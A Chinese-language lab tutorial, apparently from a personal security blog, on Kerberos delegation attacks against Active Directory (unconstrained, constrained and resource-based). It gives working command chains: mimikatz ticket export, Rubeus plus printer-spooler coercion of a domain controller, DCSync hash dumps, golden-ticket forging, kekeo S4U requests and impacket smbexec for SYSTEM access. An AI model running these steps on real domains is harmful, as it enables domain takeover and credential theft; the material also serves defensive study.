委派攻击

前言

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

委派攻击分为三种攻击手段

  • 非约束委派攻击

  • 约束委派攻击

  • 资源委派攻击

非约束委派攻击

在域内只有主机账号和服务账号才有委派属性

主机账号:活动目录中的computers组内的计算机,也被 称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加 入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

非约束委派流程

user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的 话,会把用户的TGT放在ST票据中并一起发送给serverA ,这样serverA在验证ST票据的同时也获取到了 用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来 模拟这个user访问任何服务。

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

委派查询

adfind查询非约束委派

1
2
3
4
非约束委派的主机
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派的用户:
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派攻击案例

域管理使用winrm服务器远程连接域内主机

1
Enter-PSSession -ComputerName 12server2

image-20251021215656310

此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:

1
2
privilege::debug
sekurlsa::tickets /export

image-20251021220311435

导入先前凭证

1
2
kerberos::ptt 凭证名称
kerberos::list

导入票据 访问域控 ad1.redteam.club

1
dir \\ad1.redteam.club\c$

image-20251021220540427

非约束委派&Spooler

利用非约束委派联合Spooler打印机的漏洞来进行演示;利用Rubeus来对域控ad1进行监听:作用就是当我们使用打印机服务强制让域控向12server1主机验证身份,Rubeus就可以监听到来自域控ad1的数据,从而截获域控的TGT;这里同样需要administrator权限去开启监听,使用域用户权限不足

域用户下直接切换administrator权限

1
runas /profile /user:12server1\administrator cmd.exe  #使用runas命令切换用户

管理员身份使用Rubeus来对域控ad1进行监听:

1
2
Rubeus.exe monitor /interval:1 /filteruser:ad1$  #进行监听,当域控ad1访问域用户时,则会生成TGS。
SpoolSample.exe ad1 12server1 #利用打印机服务强制让域控ad1访问12server1

将内容保存

1
Rubeus.exe monitor /interval:1 /filteruser:ad1$ > tgs.txt
1
doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7UMbHw0p3fxtM+wJ9Ruj/2BDXyviZRGDsqVlENO4w3Owcg2oJdbcIO32RPX8fjuvklW/iUFoWrh4lwGp11rlpcWj4EXcfI5pLvUrEeaqR2E50SGGHLSQbyYQo5Inr/7PFHhv1tzNLGMpAKujKNJvC4rvwb3VRcFv21ciYO0KBdTwh31UFhVE7ODkZJgM1PWT5v9ZPSxhwZCIM42o/txVrSIrgHHrNafpw4J3TFR26QNh0UjT9szGJDrRqqncX6k+PvJIo0pqbc83N5/LrDsP9mD418OAqpGaGSZ04E1A+F0ict2TfAoMiwsexXmmohC2Pq5FEC7iPehXMO+6eN0532spA1BWo2soKinLPTEMa/BmHuVdMAVcGx+VqEnlsVCaCzuWiCbFzNgNtg105z66I+bHaUWoZOy1Xf1P++FnqYJHZ4ZCN6uH8ROeaadKfSN7OyEUsMVdpGBIKjPYv6SXGedbuNKADgIDrFJDHJhcQahxoYlVpCOJQfHedMZEoeU0LWUMzf2skjzWQtA0XhmLURfOX7OMquy+BTN/dhCbqj+cQmjkIjAosQEn+g+/PmJFNvG9jqmogfETDW3gGRrcZ2uhtsBRLUBIn3b2Ak+R5JeG6yMFZ8X6B1AfqVNIsmvI0KJIQcLPtKQnsgLiFFli+N9ysz3qPGW8uGEapao8eUD8n9PJpwt+Zaf7IbSFZcRTLBcg8+d9gqGaFVD2eYcuJ8+uFUxDvPjCb3VWK+n48fTio++tOVM2czBEpK7OrzrUB4txqS/wC4MOfkrbPIFoA0krkaa+chi2hFnVs9yuOnz5MFOLqQ7oAMJfmpZe/ELl4u+hMGInXoY/xZIy9i4J2BUEiNNAxEWNCGUqj/qed+4bVQyeTMaZrjR5SvhFKiHqrLYeSMwEuuVfEQwkLbxCvwYONmZOgYM9cbZqCsOM1O4JEJNGFvGmUekGt314WWbGYEXw8gMRn8Q++a4+zU/wxcMO2hUx4NUwbaLP/W8Xlj2HBYYhUyYQOqcf/Kfuc9I8HrSL397xG8NDIINvyASrGOveqkY0RNzV8ieo2QU4wD3jg9EIaVOzHUpvqJGmQ+55VbLpWy4hMy420wEaXBTfjP9Z4Qz0F9To4/+RgVAjSimnzHN9i5R4A/N4Zu/ZM+b7JJd/mOQDfUZfOkedgKB8rx3Ik00lFcL289rflDJHtiywjN6Y8oQFk7X8NGRyId/wxSa749YTVrCmSXiY0KejvzmwiRJtVMEowVJkzRhHrBbh9CVdkI/o4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgXDT+IUllhE1y3buaOsS3ID2H4heSNmLAmLgI83hS3iqhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDI1MTAyMTEzNDQ0OFqmERgPMjAyNTEwMjEyMzQ0NDlapxEYDzIwMjUxMDI4MTM0NDQ4WqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFJFRFRFQU0uQ0xVQg==

然后直接用 powershell 转到为正常的 TGT 即可

1
2
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的
base64"))

image-20251021223238152

注入票据

1
2
Rubeus.exe ptt /ticket:base64  #利用Rubeus工具
kerberos::ptt ticket.kirbi #导入凭证

这里我们生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以这里我们就可以使用命令将krbtgt这个账号hash导出即可生成黄金票据,从而接管域控:

1
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt
1
2
3
4
5
6
7
8
9
10
11
12
[DC] 'redteam.club' will be the domain
[DC] 'ad1.redteam.club' will be the DC server
[DC] Exporting domain 'redteam.club'
502 krbtgt b6e0fcce3106665064de4917394ccc27 514
1001 AD1$ 634c65a19d9ce4d786b164a115ee6f18 532480
500 Administrator 42e2656ec24331269f82160ff5962387 512
1104 test 51a52c415264a8fc31520f66f2f50459 66048
1105 hack 51a52c415264a8fc31520f66f2f50459 66048
1106 AD2$ 7199f54cd29371583a883bb3e7f66514 532480
1107 12SERVER2$ 3873a5ba814dd60c506b4f4b139623e9 528384
4102 web 51a52c415264a8fc31520f66f2f50459 590336
1602 12SERVER1$ 449ea4a6eb335ca162f6bf07ca95d8e1 528384

制作黄金票据并导入

1
2
3
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator /ticket:ntlm.kirbi

kerberos::ptt ntlm.kirbi

访问

1
dir \\ad1.redteam.club\c$

image-20251021225326395

约束委派攻击

委派流程

S4U2self

允许一个服务代表某个用户请求一个 访问自身的服务票据(ST1)

S4U2proxy

允许服务使用前一步得到的可转发票据(ST1),再向 KDC 请求 访问另一个服务的票据(ST2)

项目 S4U2Self S4U2Proxy
作用 模拟用户(代表用户向自己请求票据) 委派用户(代表用户访问其他服务)
票据类型 Service Ticket (to self) Service Ticket (to another service)
是否需用户参与 不需要用户参与 不需要用户参与
依赖条件 服务账户必须被允许模仿用户 服务账户必须被信任进行委派
输出结果 可转发的 ST1 目标服务的 ST2

S4U2Proxy 请求的核心逻辑

当服务A想以用户身份访问服务B时,它要给 KDC 看两样东西:

  1. 🪪 自己的 TGT(说明“我是服务A”)
  2. 🎟️ 可转发的ST1(说明“我能代表用户”)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌─────────────────────────────┐
│ KDC(密钥分发中心)│
└──────────┬──────────────────┘

(1) S4U2Self 请求:
服务A → “我要代表用户 U 访问我自己”


┌──────────────────────┐
│ 返回 ST1(to 服务A) │
│ 标志:Forwardable │
│ 意义:允许转发 │
└──────────┬───────────┘

(ST1 保存在服务A中)


(2) S4U2Proxy 请求:
服务A → “我要代表用户U访问服务B
这是我能代表U的凭证(ST1)”


┌──────────────────────┐
│ 返回 ST2(to 服务B) │
│ 用户U → 服务B 的票据 │
└──────────┬───────────┘


服务A 拿 ST2
┌────────────────┐
│ 代表用户U访问服务B
└────────────────┘
步骤 操作 说明
① S4U2Self 服务A 向 KDC 请求 ST1,用来证明它可以代表用户U。目标是自己。
② ST1(可转发) 标记为 forwardable,允许服务A再拿它去请求别的票据。
③ S4U2Proxy 服务A 拿着 ST1 + 自己的TGT,向 KDC 请求访问服务B的票据。
④ ST2(最终使用) KDC 返回 ST2,代表用户U访问服务B。服务A 使用它去访问服务B

S4U2Self 拿到的 ST1,不是用来直接访问服务的,而是用来让 S4U2Proxy 去换取真正能访问其他服务的 ST2。

完整的约束委派流程

1
服务A(有委派权限) → 用服务A的TGT证明身份 → 域控制器 → 代表用户访问服务B

约束委派攻击的要求是:控制一个有委派权限的服务账户,然后使用该账户的凭证(密码或哈希)获取合法的TGT,然后带着这个TGT向KDC申请代表其他用户访问特定服务的ST。

也就是说,进行约束委派攻击的前提是控制服务账户及当前主机的管理员权限,使用kekeo申请当前服务账户的tgt凭据,然后生成代表域管的s4u2的票据,也就是st2。将其导入内存,即可以域管的身份访问约束好的服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
攻击者 (已控主机)

↓ (前提:获得服务账户Hash/密码)
[1. 获取服务账户TGT] ←------------------- KDC
│ (tgt::ask /user:websec /hash:xxx) │
↓ │
[2. 生成S4U2proxy票据] -----------------------→│
│ (tgs::s4u /tgt:websec.TGT │
│ /user:Administrator │
│ /service:cifs/DC2016) │
↓ │
[3. 接收ST2] ←---------------------------------│
│ (TGS_Administrator@...cifs~DC2016.kirbi)

[4. 注入票据]
│ (kerberos::ptt ...)

[5. 以域管身份访问服务]
│ (dir \\DC2016\c$)

[成功!]

案例

利用条件

1
2
3
4
5
存在配置了传统约束委派的账户

获得该服务账户的控制权

被委派的服务是可用的

查询约束委派服务账户

1
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20251026163205911

通过kekeo请求服务用户的TGT

1
tgt::ask /user:web /domain:redteam.club /password:pass@123 /ticket:test.kirbi

image-20251026163629740

利用这个票据通过伪造S4U请求以administrator身份访问websec的ST

1
2
3
tgs::s4u /tgt:TGT_web@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club

tgs::s4u /tgt:服务账户@tgt /user:被委派的用户@域 /service:服务/ad1.redteam.club

image-20251026164601465

导入

1
kekeo # kerberos::ptt TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi

image-20251026164829712

访问

image-20251026164931726

使用范围

约束委派一般用于拿到域控后创建服务用户,进行权限维持

基于资源的约束委派攻击

攻击核心条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限

  1. 将该主机加入域的用户账户,具有**mSDS-CreatorSID**属性

  2. Account Operators 组成员

  3. 该主机自身的机器账户

权限主体 攻击前提
加入域的用户 1. 找到该用户创建过的计算机。 2. 控制该用户账户。
Account Operators 组成员 控制该组内的任何一个用户账户。
计算机账户自身 1. (2019前) 获得该计算机的SYSTEM权限。 2. (2019后) 获得该计算机的SYSTEM权限,且权限未被硬化。

资源委派攻击其他域主机获取system权限

首先查询域普通用户加入域的机子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
using System;
using System.Security.Principal;
using System.DirectoryServices;
using System.Collections.Generic;

namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
try
{
FindComputerCreators();
}
catch (Exception ex)
{
Console.WriteLine("[!] 错误: " + ex.Message);
}

Console.WriteLine("按任意键退出...");
Console.ReadKey();
}

static void FindComputerCreators()
{
// 连接到LDAP
using (DirectoryEntry ldapConn = new DirectoryEntry("LDAP://dc=redteam,dc=club"))
using (DirectorySearcher computerSearcher = new DirectorySearcher(ldapConn))
{
// 查找所有计算机
computerSearcher.Filter = "(&(objectClass=computer))";
computerSearcher.PropertiesToLoad.AddRange(new string[] { "dNSHostName", "mS-DS-CreatorSID", "name" });

Console.WriteLine("[*] 开始搜索域内计算机及其创建者...\n");

// 预加载用户SID映射以提高性能
Dictionary<string, string> userSidMap = PreloadUserSidMap(ldapConn);

foreach (SearchResult computer in computerSearcher.FindAll())
{
ProcessComputerResult(computer, userSidMap);
}

Console.WriteLine("\n[*] 搜索完成");
}
}

static Dictionary<string, string> PreloadUserSidMap(DirectoryEntry ldapConn)
{
var sidMap = new Dictionary<string, string>();

using (DirectorySearcher userSearcher = new DirectorySearcher(ldapConn))
{
userSearcher.Filter = "(&(objectClass=user))";
userSearcher.PropertiesToLoad.AddRange(new string[] { "objectSid", "sAMAccountName", "name" });

foreach (SearchResult user in userSearcher.FindAll())
{
try
{
if (user.Properties["objectSid"].Count > 0)
{
string userSid = new SecurityIdentifier(
(byte[])user.Properties["objectSid"][0], 0).ToString();

string userName = user.Properties["name"].Count > 0
? user.Properties["name"][0].ToString()
: "Unknown";

sidMap[userSid] = userName;
}
}
catch
{
// 忽略错误用户条目
}
}
}

return sidMap;
}

static void ProcessComputerResult(SearchResult computer, Dictionary<string, string> userSidMap)
{
string computerName = "";
string creatorSid = "";

try
{
// 获取计算机名
if (computer.Properties["dNSHostName"].Count > 0)
{
computerName = computer.Properties["dNSHostName"][0].ToString();
}
else if (computer.Properties["name"].Count > 0)
{
computerName = computer.Properties["name"][0].ToString();
}
else
{
computerName = "Unknown";
}

// 获取创建者SID
if (computer.Properties["mS-DS-CreatorSID"].Count > 0)
{
creatorSid = new SecurityIdentifier(
(byte[])computer.Properties["mS-DS-CreatorSID"][0], 0).ToString();
}
else
{
Console.WriteLine("[!] " + computerName + " - 未找到创建者SID");
return;
}

// 查找对应的用户名
if (userSidMap.ContainsKey(creatorSid))
{
string creatorName = userSidMap[creatorSid];
Console.WriteLine("[+] " + computerName + " -> 创建者: " + creatorName);
}
else
{
Console.WriteLine("[!] " + computerName + " -> 未知创建者 SID: " + creatorSid);
}
}
catch (Exception ex)
{
Console.WriteLine("[!] 处理计算机 " + computerName + " 时出错: " + ex.Message);
}
}
}
}

image-20251026172504224

使用SharpAllowedToAct修改委派

1
2
3
SharpAllowedToAct.exe -m hack1 -p pass@123 -t 12server2 -a 10.10.10.142 REDTEAM.CLUB

SharpAllowedToAct.exe -m 机器账户名 -p 密码 -t 目标计算机 -a 域控

image-20251026173109111

获取服务票据

1
python3 getST.py -dc-ip 10.10.10.142 redteam/hack1\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator

获取域普通主机权限

1
2
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k 12server2.redteam.club

“先让12server同意机器用户的访问,然后使用机器用户向KDC申请模拟administrator访问12server的CIFS服务票据。再将这个票据导入到当前会话,当前电脑就可以以administrator的身份访问12server并获得SYSTEM权限。”

两种约束委派区别

约束委派

设置当前服务账户可以访问哪些资源

服务A 的账户上设置一个属性(msDS-AllowedToDelegateTo),信任服务A,允许它代表用户去访问服务B服务C

基于资源的约束委派

设置这个服务哪些账户可以被信任来执行委派

服务B(资源) 的账户上设置一个属性(msDS-AllowedToActOnBehalfOfOtherIdentity),只允许服务A服务X代表用户来连接

区别

特性 约束委派 基于资源的约束委派
控制理念 我能访问谁? (由请求方定义) 谁能访问我? (由资源方定义)
配置对象 起始服务(如 Web服务)的账户 目标服务(如 数据库)的账户
配置属性 msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity
管理模型 集中式、可能权限过大 分布式、最小权限原则

ST1转发问题

传统约束委派

KDC 会检查用户的 userAccountControl 属性中的 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志。

  • 如果用户账户被设置了该标志,那么 S4U2self 返回的 ST 就是 可转发 的。
  • 如果用户账户没有被设置该标志,那么 S4U2self 返回的 ST 就是 不可转发 的。

在传统约束委派中,为了完成整个委派链条,通过 S4U2self 获得的 ST 必须是可转发的

基于资源的约束委派

与服务账户是否受信任无关。无论用户账户是否设置了 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志,通过 S4U2self 获得的 ST 通常都是 不可转发 的。

在 RBCD 中,委派的成功与否,完全依赖于资源上的配置,而与初始票据的“可转发”属性脱钩

image-20251023153157516


委派攻击
http://xiaowu5.cn/2026/01/18/委派攻击/
作者
5
发布于
2026年1月18日
许可协议
BY XIAOWU